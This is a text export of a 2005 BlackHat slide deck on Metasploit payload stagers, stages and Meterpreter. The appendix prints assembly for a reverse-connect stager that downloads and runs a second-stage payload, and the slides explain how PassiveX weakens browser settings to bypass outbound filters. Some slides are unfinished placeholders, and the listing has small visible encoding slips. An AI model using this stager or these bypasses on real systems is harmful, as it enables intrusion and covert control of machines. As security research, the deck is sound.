

Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- ▶ spoonm
 - ▶ Full-time student
 - ▶ Metasploit developer since late 2003
- ▶ skape
 - ▶ Lead software developer by day
 - ▶ Independent security researcher by night
 - ▶ Joined the Metasploit project in 2004

What will we discuss?

- ▶ Payload stagers
 - ▶ Windows Ordinal Stagers
 - ▶ PassiveX

What will we discuss?

- ▶ Payload stagers
 - ▶ Windows Ordinal Stagers
 - ▶ PassiveX
- ▶ Payload stages
 - ▶ Library Injection
 - ▶ The Meterpreter
 - ▶ DispatchNinja

What will we discuss?

- ▶ Payload stagers
 - ▶ Windows Ordinal Stagers
 - ▶ PassiveX
- ▶ Payload stages
 - ▶ Library Injection
 - ▶ The Meterpreter
 - ▶ DispatchNinja
- ▶ Post-exploitation suites
 - ▶ Very hot area of research for the Metasploit team
 - ▶ Suites built off of advanced payload research
 - ▶ Client-side APIs create uniform automation interfaces
 - ▶ Primary focus of Metasploit 3.0

Background: the exploitation cycle

- ▶ **Pre-exploitation** - Before the attack
 - ▶ Find a bug and isolate it
 - ▶ Write the exploit, payloads, and tools

Background: the exploitation cycle

- ▶ **Pre-exploitation** - Before the attack
 - ▶ Find a bug and isolate it
 - ▶ Write the exploit, payloads, and tools
- ▶ **Exploitation** - Leveraging the vulnerability
 - ▶ Find a vulnerable target
 - ▶ Gather information
 - ▶ Initialize tools and post-exploitation handlers
 - ▶ Launch the exploit

Background: the exploitation cycle

- ▶ **Pre-exploitation** - Before the attack
 - ▶ Find a bug and isolate it
 - ▶ Write the exploit, payloads, and tools
- ▶ **Exploitation** - Leveraging the vulnerability
 - ▶ Find a vulnerable target
 - ▶ Gather information
 - ▶ Initialize tools and post-exploitation handlers
 - ▶ Launch the exploit
- ▶ **Post-exploitation** - Manipulating the target
 - ▶ Command shell redirection
 - ▶ Arbitrary command execution
 - ▶ Pivoting
 - ▶ Advanced payload interaction

Part II

Exploitation Technology's State of Affairs

Payload encoders

- ▶ Robust and elegant encoders do exist
 - ▶ SkyLined's Alpha2 x86 alphanumeric encoder
 - ▶ Spoonm's high-permutation Shikata Ga Nai

Payload encoders

- ▶ Robust and elegant encoders do exist
 - ▶ SkyLined's Alpha2 x86 alphanumeric encoder
 - ▶ Spoonm's high-permutation Shikata Ga Nai
- ▶ Payload encoders generally taken for granted
 - ▶ Most encoders use a static decoder stub
 - ▶ Makes NIDS signatures easy to write

NOP generators

- ▶ NOP generation hasn't publicly changed much
 - ▶ Most PoC exploits use predictable single-byte NOPs (0x90), if any
 - ▶ ADMmutate's NOP generator easily signed by NIDS (Snort, Fnord)
 - ▶ Not considered an important research topic to most

NOP generators

- ▶ NOP generation hasn't publicly changed much
 - ▶ Most PoC exploits use predictable single-byte NOPs (0x90), if any
 - ▶ ADMmutate's NOP generator easily signed by NIDS (Snort, Fnord)
 - ▶ Not considered an important research topic to most
- ▶ Still, NIDS continues to play chase the tail
 - ▶ The mouse always has the advantage; NIDS is reactive
 - ▶ Advanced NOP generators and encoders push NIDS to its limits
 - ▶ Many protocols can be complex to signature (DCERPC fragmentation)

NOP generators

- ▶ NOP generation hasn't publicly changed much
 - ▶ Most PoC exploits use predictable single-byte NOPs (0x90), if any
 - ▶ ADMmutate's NOP generator easily signatored by NIDS (Snort, Fnord)
 - ▶ Not considered an important research topic to most
- ▶ Still, NIDS continues to play chase the tail
 - ▶ The mouse always has the advantage; NIDS is reactive
 - ▶ Advanced NOP generators and encoders push NIDS to its limits
 - ▶ Many protocols can be complex to signature (DCERPC fragmentation)
- ▶ Metasploit 2.4 released with a wide-distribution multi-byte x86 NOP generator (Opty2)

Exploitation techniques

- ▶ Exploitation techniques have become very mature
 - ▶ Linux/BSD/Solaris techniques are largely unchanged
 - ▶ Windows heap overflows can be made more reliable (Oded/Shok)
 - ▶ Windows SEH overwrites make exploitation easy, even on XPSP2

Exploitation techniques

- ▶ Exploitation techniques have become very mature
 - ▶ Linux/BSD/Solaris techniques are largely unchanged
 - ▶ Windows heap overflows can be made more reliable (Oded/Shok)
 - ▶ Windows SEH overwrites make exploitation easy, even on XPSP2
- ▶ Exploitation vectors have been beaten to death

Exploitation techniques

- ▶ Exploitation techniques have become very mature
 - ▶ Linux/BSD/Solaris techniques are largely unchanged
 - ▶ Windows heap overflows can be made more reliable (Oded/Shok)
 - ▶ Windows SEH overwrites make exploitation easy, even on XPSP2
- ▶ Exploitation vectors have been beaten to death
- ▶ ...so we wont be talking about them

Standard payloads

- ▶ Standard payloads provide the most basic manipulation of a target
 - ▶ Port-bind command shell
 - ▶ Reverse (connectback) command shell
 - ▶ Arbitrary command execution

Standard payloads

- ▶ Standard payloads provide the most basic manipulation of a target
 - ▶ Port-bind command shell
 - ▶ Reverse (connectback) command shell
 - ▶ Arbitrary command execution
- ▶ Nearly all PoC exploits use standard payloads

Standard payloads

- ▶ Standard payloads provide the most basic manipulation of a target
 - ▶ Port-bind command shell
 - ▶ Reverse (connectback) command shell
 - ▶ Arbitrary command execution
- ▶ Nearly all PoC exploits use standard payloads
- ▶ Command shells have poor automation support
 - ▶ Platform dependent intrinsic commands and scripting
 - ▶ Reliant on the set of applications installed on the machine
 - ▶ Hindered by chroot jails and host-based ACLs

“Advantage” payloads

- ▶ Advantage payloads provide enhanced manipulation of hosts, commonly through the native API
- ▶ Help to reduce the tediousness of writing payloads
- ▶ Core ST's InlineEgg

Part III

Payload Stagers

What are payload stagers?

- ▶ Payload stagers are small stubs that load and execute other payloads
- ▶ The payloads that are executed are known as stages
- ▶ Stages perform arbitrary tasks, such as spawning a shell

What are payload stagers?

- ▶ Payload stagers are small stubs that load and execute other payloads
- ▶ The payloads that are executed are known as stages
- ▶ Stages perform arbitrary tasks, such as spawning a shell
- ▶ Stagers are typically network based and follow three basic steps
 - ▶ Establish connection to attacker (reverse, portbind, findsock)
 - ▶ Read in a payload from the connection
 - ▶ Execute a payload with the connection in known a register

What are payload stagers?

- ▶ Payload stagers are small stubs that load and execute other payloads
- ▶ The payloads that are executed are known as stages
- ▶ Stages perform arbitrary tasks, such as spawning a shell
- ▶ Stagers are typically network based and follow three basic steps
 - ▶ Establish connection to attacker (reverse, portbind, findsock)
 - ▶ Read in a payload from the connection
 - ▶ Execute a payload with the connection in known a register
- ▶ The three steps make it so stages are connection method independent
 - ▶ No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- ▶ Some vulnerabilities have limited space for the initial payload

Why are payload stagers useful?

- ▶ Some vulnerabilities have limited space for the initial payload
- ▶ Typically much smaller than the stages they execute

Why are payload stagers useful?

- ▶ Some vulnerabilities have limited space for the initial payload
- ▶ Typically much smaller than the stages they execute
- ▶ Eliminate the need to re-implement payloads for each connection method

Why are payload stagers useful?

- ▶ Some vulnerabilities have limited space for the initial payload
- ▶ Typically much smaller than the stages they execute
- ▶ Eliminate the need to re-implement payloads for each connection method
- ▶ Provide an abstract way for getting arbitrary code onto a remote machine through any medium

Windows ordinal stagers

- ▶ Technique from Oded's lightning talk at core04
- ▶ Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- ▶ Compatible with all versions of Windows (including 9X)
- ▶ Results in very low-overhead symbol resolution
- ▶ Facilitates implementation of reverse, portbind, and findsock stagers
- ▶ Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)

Windows ordinal stagers

- ▶ Technique from Oded's lightning talk at core04
- ▶ Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- ▶ Compatible with all versions of Windows (including 9X)
- ▶ Results in very low-overhead symbol resolution
- ▶ Facilitates implementation of reverse, portbind, and findsock stagers
- ▶ Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- ▶ Detailed write-up can be found in reference materials

How ordinal stagers work

- ▶ Ordinals are unique numbers that identify exported symbols in PE files
- ▶ Each ordinal can be used to resolve the address of an exported symbol

How ordinal stagers work

- ▶ Ordinals are unique numbers that identify exported symbols in PE files
- ▶ Each ordinal can be used to resolve the address of an exported symbol
- ▶ Most of the time, ordinals are incremented linearly by the linker
- ▶ Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- ▶ When ordinals are the same every build, they are referred to as static

How ordinal stagers work

- ▶ Ordinals are unique numbers that identify exported symbols in PE files
- ▶ Each ordinal can be used to resolve the address of an exported symbol
- ▶ Most of the time, ordinals are incremented linearly by the linker
- ▶ Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- ▶ When ordinals are the same every build, they are referred to as static
- ▶ Using an image's exports by ordinal instead of by name is more efficient at runtime
- ▶ However, it will not be reliably portable unless the ordinals are known-static

How ordinal stagers work

- ▶ Ordinals are unique numbers that identify exported symbols in PE files
- ▶ Each ordinal can be used to resolve the address of an exported symbol
- ▶ Most of the time, ordinals are incremented linearly by the linker
- ▶ Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- ▶ When ordinals are the same every build, they are referred to as static
- ▶ Using an image's exports by ordinal instead of by name is more efficient at runtime
- ▶ However, it will not be reliably portable unless the ordinals are known-static
- ▶ Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
 - ▶ 30 symbols use static ordinals in `WS2_32.DLL`

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
 - ▶ Module name is stored in unicode, but can be partially translated to ANSI
 - ▶ Once `WS2_32.DLL` is found, extract its `BaseAddress`

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
 - ▶ Module name is stored in unicode, but can be partially translated to ANSI
 - ▶ Once `WS2_32.DLL` is found, extract its `BaseAddress`
- ▶ Resolve `socket`, `connect`, and `recv`
 - ▶ Use static ordinals to index the Export Directory Address Table

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
 - ▶ Module name is stored in unicode, but can be partially translated to ANSI
 - ▶ Once `WS2_32.DLL` is found, extract its `BaseAddress`
- ▶ Resolve `socket`, `connect`, and `recv`
 - ▶ Use static ordinals to index the Export Directory Address Table
- ▶ Allocate a socket, connect to the attacker, and read in the next payload

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
 - ▶ Module name is stored in unicode, but can be partially translated to ANSI
 - ▶ Once `WS2_32.DLL` is found, extract its `BaseAddress`
- ▶ Resolve `socket`, `connect`, and `recv`
 - ▶ Use static ordinals to index the Export Directory Address Table
- ▶ Allocate a socket, connect to the attacker, and read in the next payload
- ▶ Requires that `WS2_32.DLL` already be loaded in the target process

PassiveX

- ▶ Robust payload stager capable of bypassing restrictive outbound filters
- ▶ Compatible with Windows 2000+ running Internet Explorer 6.0+
- ▶ Uses HTTP to communicate with attacker
- ▶ Provides an alternate vector for library injection via ActiveX

PassiveX

- ▶ Robust payload stager capable of bypassing restrictive outbound filters
- ▶ Compatible with Windows 2000+ running Internet Explorer 6.0+
- ▶ Uses HTTP to communicate with attacker
- ▶ Provides an alternate vector for library injection via ActiveX
- ▶ Detailed write-up can be found in reference materials

How PassiveX works

- ▶ Enables support for both signed and unsigned ActiveX controls in the Internet zone.

How PassiveX works

- ▶ Enables support for both signed and unsigned ActiveX controls in the Internet zone.
 - ▶ Necessary because administrators may have disabled ActiveX support for security reasons

How PassiveX works

- ▶ Enables support for both signed and unsigned ActiveX controls in the Internet zone.
 - ▶ Necessary because administrators may have disabled ActiveX support for security reasons
- ▶ Launches a hidden instance of Internet Explorer

How PassiveX works

- ▶ Enables support for both signed and unsigned ActiveX controls in the Internet zone.
 - ▶ Necessary because administrators may have disabled ActiveX support for security reasons
- ▶ Launches a hidden instance of Internet Explorer
- ▶ Internet Explorer loads a page that the attacker has put an embedded ActiveX control on

How PassiveX works

- ▶ Enables support for both signed and unsigned ActiveX controls in the Internet zone.
 - ▶ Necessary because administrators may have disabled ActiveX support for security reasons
- ▶ Launches a hidden instance of Internet Explorer
- ▶ Internet Explorer loads a page that the attacker has put an embedded ActiveX control on
- ▶ Internet Explorer loads and executes the ActiveX control

Why is PassiveX useful?

- ▶ Relatively small (roughly 400 byte) stager that does not directly interact with the network

Why is PassiveX useful?

- ▶ Relatively small (roughly 400 byte) stager that does not directly interact with the network
- ▶ Bypasses common outbound filters by tunneling through HTTP

Why is PassiveX useful?

- ▶ Relatively small (roughly 400 byte) stager that does not directly interact with the network
- ▶ Bypasses common outbound filters by tunneling through HTTP
- ▶ Automatically uses proxy settings defined in Internet Explorer

Why is PassiveX useful?

- ▶ Relatively small (roughly 400 byte) stager that does not directly interact with the network
- ▶ Bypasses common outbound filters by tunneling through HTTP
- ▶ Automatically uses proxy settings defined in Internet Explorer
- ▶ Bypasses trusted application restrictions (ZoneAlarm)

Why is PassiveX useful?

- ▶ Relatively small (roughly 400 byte) stager that does not directly interact with the network
- ▶ Bypasses common outbound filters by tunneling through HTTP
- ▶ Automatically uses proxy settings defined in Internet Explorer
- ▶ Bypasses trusted application restrictions (ZoneAlarm)
- ▶ ActiveX technology allows the attacker to implement complex code in higher level languages (C, C++, VB)
 - ▶ Eliminates the need to perform complicated tasks from assembly
 - ▶ ActiveX controls are functionally equivalent to executables

Implementing the PassiveX stager

- ▶ Enable download and execution of ActiveX controls
 - ▶ Open the current user's Internet zone registry key
 - ▶ Enable four settings
 - ▶ Download signed ActiveX controls
 - ▶ Download unsigned ActiveX controls
 - ▶ Run ActiveX controls and plugins
 - ▶ Initialize and script ActiveX controls not marked as safe

Implementing the PassiveX stager

- ▶ Enable download and execution of ActiveX controls
 - ▶ Open the current user's Internet zone registry key
 - ▶ Enable four settings
 - ▶ Download signed ActiveX controls
 - ▶ Download unsigned ActiveX controls
 - ▶ Run ActiveX controls and plugins
 - ▶ Initialize and script ActiveX controls not marked as safe
- ▶ Launch a hidden instance of Internet Explorer pointed at a URL the attacker controls

Implementing the PassiveX stager

- ▶ Enable download and execution of ActiveX controls
 - ▶ Open the current user's Internet zone registry key
 - ▶ Enable four settings
 - ▶ Download signed ActiveX controls
 - ▶ Download unsigned ActiveX controls
 - ▶ Run ActiveX controls and plugins
 - ▶ Initialize and script ActiveX controls not marked as safe
- ▶ Launch a hidden instance of Internet Explorer pointed at a URL the attacker controls
- ▶ Internet Explorer then loads and executes the attacker's ActiveX control

An example ActiveX control

- ▶ ActiveX controls may choose to build an HTTP tunnel to the attacker
- ▶ HTTP tunnels provide a streaming connection over HTTP requests and responses
- ▶ Useful for tunneling other protocols, like TCP, through HTTP

Pros & cons

- ▶ **Pros**

- ▶ Bypasses restrictive outbound filters at both a network and application level

Pros & cons

► **Pros**

- Bypasses restrictive outbound filters at both a network and application level
- Provides a method for using complex code written in a high-level language

Pros & cons

► Pros

- Bypasses restrictive outbound filters at both a network and application level
- Provides a method for using complex code written in a high-level language

► Cons

- Does not work when run as a non-privileged user
 - Internet Explorer refuses to download ActiveX controls

Pros & cons

► Pros

- Bypasses restrictive outbound filters at both a network and application level
- Provides a method for using complex code written in a high-level language

► Cons

- Does not work when run as a non-privileged user
 - Internet Explorer refuses to download ActiveX controls
- Requires the ActiveX control to restore `Internet` zone settings
 - May leave the machine vulnerable to compromise if not done

Part IV

Payload Stages

What are payload stages?

- ▶ Payload stages are executed by payload stagers and perform arbitrary tasks

What are payload stages?

- ▶ Payload stages are executed by payload stagers and perform arbitrary tasks
- ▶ Some examples of payload stages include
 - ▶ Execute a command shell and redirect IO to the attacker
 - ▶ Execute an arbitrary command
 - ▶ Download an executable from a URL and execute it

Why are payload stages useful?

- ▶ Can be executed independent of connection method (portbind, reverse)
 - ▶ All stagers store the connection file descriptor in a common register

Why are payload stages useful?

- ▶ Can be executed independent of connection method (portbind, reverse)
 - ▶ All stagers store the connection file descriptor in a common register
- ▶ Not subject to size limitations of individual vulnerabilities

The library injection stage

- ▶ Payload stage that provides a method of loading a library (DLL) into the exploited process

The library injection stage

- ▶ Payload stage that provides a method of loading a library (DLL) into the exploited process
- ▶ Libraries are functionally equivalent to executables
 - ▶ Full access to various OS-provided APIs
 - ▶ Can do anything an executable can do

The library injection stage

- ▶ Payload stage that provides a method of loading a library (DLL) into the exploited process
- ▶ Libraries are functionally equivalent to executables
 - ▶ Full access to various OS-provided APIs
 - ▶ Can do anything an executable can do
- ▶ Library injection is covert; no new processes need to be created

The library injection stage

- ▶ Payload stage that provides a method of loading a library (DLL) into the exploited process
- ▶ Libraries are functionally equivalent to executables
 - ▶ Full access to various OS-provided APIs
 - ▶ Can do anything an executable can do
- ▶ Library injection is covert; no new processes need to be created
- ▶ Detailed write-up can be found in reference materials

Types of library injection

- ▶ Three primary methods exist to inject a library
 1. **On-Disk**: loading a library from the target's harddrive or a file share
 2. **In-Memory**: loading a library entirely from memory
 3. **ActiveX**: loading a library through Internet Explorer's ActiveX support
- ▶ On-Disk and In-Memory techniques are conceptually portable to non-Windows platforms

On-Disk library injection

- ▶ Loading a library from disk has been the defacto standard for Windows payloads
- ▶ Loading a library from a file share was first discussed by Brett Moore

On-Disk library injection

- ▶ Loading a library from disk has been the defacto standard for Windows payloads
- ▶ Loading a library from a file share was first discussed by Brett Moore
- ▶ On-Disk injection subject to filtering by Antivirus due to filesystem access
- ▶ Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

- ▶ First Windows implementation released with Metasploit 2.2

In-Memory library injection

- ▶ First Windows implementation released with Metasploit 2.2
- ▶ Libraries are loaded entirely from memory

In-Memory library injection

- ▶ First Windows implementation released with Metasploit 2.2
- ▶ Libraries are loaded entirely from memory
- ▶ No disk access means no Antivirus interference

In-Memory library injection

- ▶ First Windows implementation released with Metasploit 2.2
- ▶ Libraries are loaded entirely from memory
- ▶ No disk access means no Antivirus interference
- ▶ Most stealthy form of library injection thus far identified

ActiveX library injection

- ▶ Uses Internet Explorer's ActiveX support to inject a DLL
- ▶ Reliant on zone restrictions being set to permit ActiveX

ActiveX library injection

- ▶ Uses Internet Explorer's ActiveX support to inject a DLL
- ▶ Reliant on zone restrictions being set to permit ActiveX
- ▶ Subject to filtering by Antivirus

ActiveX library injection

- ▶ Uses Internet Explorer's ActiveX support to inject a DLL
- ▶ Reliant on zone restrictions being set to permit ActiveX
- ▶ Subject to filtering by Antivirus
- ▶ Implemented by the PassiveX stager described earlier

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked
- ▶ When loading libraries, low-level system calls are used to interact with the library on disk
 - ▶ `NtOpenFile`
 - ▶ `NtCreateSection`
 - ▶ `NtMapViewOfSection`
- ▶ These routines can be hooked to change their behavior to operate against a memory region

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked
- ▶ When loading libraries, low-level system calls are used to interact with the library on disk
 - ▶ `NtOpenFile`
 - ▶ `NtCreateSection`
 - ▶ `NtMapViewOfSection`
- ▶ These routines can be hooked to change their behavior to operate against a memory region
- ▶ Once hooked, calling `LoadLibraryA` with a unique pseudo file name is all that's needed

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs
- ▶ First demonstrated at BlackHat USA 2004

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs
- ▶ First demonstrated at BlackHat USA 2004
- ▶ Metasploit team converted RealVNC to a standalone DLL
 - ▶ No non-standard file dependencies
 - ▶ No installation required
 - ▶ Does not make any registry or filesystem changes
 - ▶ Does not listen on a port; uses payload connection as a VNC client

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs
- ▶ First demonstrated at BlackHat USA 2004
- ▶ Metasploit team converted RealVNC to a standalone DLL
 - ▶ No non-standard file dependencies
 - ▶ No installation required
 - ▶ Does not make any registry or filesystem changes
 - ▶ Does not listen on a port; uses payload connection as a VNC client
- ▶ By using the generic library loading stage, VNC was simply plugged in

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs
- ▶ First demonstrated at BlackHat USA 2004
- ▶ Metasploit team converted RealVNC to a standalone DLL
 - ▶ No non-standard file dependencies
 - ▶ No installation required
 - ▶ Does not make any registry or filesystem changes
 - ▶ Does not listen on a port; uses payload connection as a VNC client
- ▶ By using the generic library loading stage, VNC was simply plugged in
- ▶ Extremely useful when illustrating security weaknesses
- ▶ Suits understand mouse movement much better than command lines

The Meterpreter stage

- ▶ First released with Metasploit 2.3
- ▶ Implemented using library injection technology

The Meterpreter stage

- ▶ First released with Metasploit 2.3
- ▶ Implemented using library injection technology
- ▶ Primary goals are to be...
 - ▶ **Stealthy**: no disk access and no new process by default
 - ▶ **Powerful**: channelized communication and robust protocol
 - ▶ **Extensible**: run-time augmentation of features with extensions

The Meterpreter stage

- ▶ First released with Metasploit 2.3
- ▶ Implemented using library injection technology
- ▶ Primary goals are to be...
 - ▶ **Stealthy**: no disk access and no new process by default
 - ▶ **Powerful**: channelized communication and robust protocol
 - ▶ **Extensible**: run-time augmentation of features with extensions
- ▶ Detailed write-up can be found in reference materials

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable
- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable
- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms
 - ▶ Execute a command interpreter and channelize the output

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable
- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms
 - ▶ Execute a command interpreter and channelize the output
 - ▶ Turn on the target's USB webcam and begin streaming video

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable
- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms
 - ▶ Execute a command interpreter and channelize the output
 - ▶ Turn on the target's USB webcam and begin streaming video
- ▶ Programmatically automatable
 - ▶ RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
 - ▶ Extension-based architecture makes Meterpreter completely flexible

Why is Meterpreter useful?

- ▶ Platform independent design
 - ▶ Current implementation is Windows specific, but concepts are portable
- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms
 - ▶ Execute a command interpreter and channelize the output
 - ▶ Turn on the target's USB webcam and begin streaming video
- ▶ Programmatically automatable
 - ▶ RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
 - ▶ Extension-based architecture makes Meterpreter completely flexible
- ▶ Use of in-memory library injection makes it possible to run in a stealth fashion

Communication protocol specification

Client/Server architecture

Extension flexibilities

Meterpreter extensions in action: Stdapi

Cool dN stuff here

Part V

Post-Exploitation Suites

stuff

Part VI

Conclusion

Reference Material

Payload Stagers

- ▶ Windows Ordinal Stagers

<http://www.metasploit.com/users/spoonm/ordinals.txt>

- ▶ PassiveX

<http://www.uninformed.org/?v=1&a=3&t=sumry>

Payload Stages

- ▶ Library Injection

<http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf>

- ▶ Meterpreter

<http://www.nologin.org/Downloads/Papers/meterpreter.pdf>

Part VII

Appendix

Part VIII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```
FC          cld          ; clear direction (lodsd)
31DB        xor ebx,ebx   ; zero ebx
648B4330    mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C      mov eax,[eax+0xc] ; eax = PEB->Ldr
8B501C      mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
8B12        mov edx,[edx]   ; edx = LdrModule->Flink
8B7220      mov esi,[edx+0x20] ; esi = LdrModule->DllName
AD          lodsd         ; eax = [esi] ; esi += 4
AD          lodsd         ; eax = [esi] ; esi += 4
4E          dec esi       ; esi--
0306        add eax,[esi]  ; eax = eax + [esi]
                                ; (4byte unicode->ANSI)
3D323335F32 cmp eax,0x325f3332 ; eax == 2_32?
75EF        jnz 0xd       ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08      mov ebp,[edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C      mov eax,[ebp+0x3c]     ; eax = DosHdr->e_lfanew
8B4C0578    mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C    mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9       add ecx,ebp            ; ecx += ws2base
8B4158      mov eax,[ecx+0x58]     ; eax = socket rva
01E8       add eax,ebp            ; eax += ws2base
8B713C      mov esi,[ecx+0x3c]     ; esi = recv rva
01EE       add esi,ebp            ; esi += ws2base
03690C      add ebp,[ecx+0xc]      ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53          push ebx          ; push 0
6A01        push byte +0x1     ; push SOCK_STREAM
6A02        push byte +0x2     ; push AF_INET
FFD0        call eax           ; call socket
97          xchg eax,edi       ; edi = fd
687F000001  push dword 0x100007f ; push sockaddr_in
68020010E1  push dword 0xe1100002
89E1        mov ecx,esp        ; ecx = &sockaddr_in
53          push ebx          ; push flags (0)
B70C        mov bh,0xc         ; ebx = 0x0c00
53          push ebx          ; push length (0xc00)
51          push ecx          ; push buffer
57          push edi          ; push fd
51          push ecx          ; push buffer
6A10        push byte +0x10    ; push addrlen (16)
51          push ecx          ; push &sockaddr_in
57          push edi          ; push fd
56          push esi          ; push recv
FFE5        jmp ebx           ; call connect
```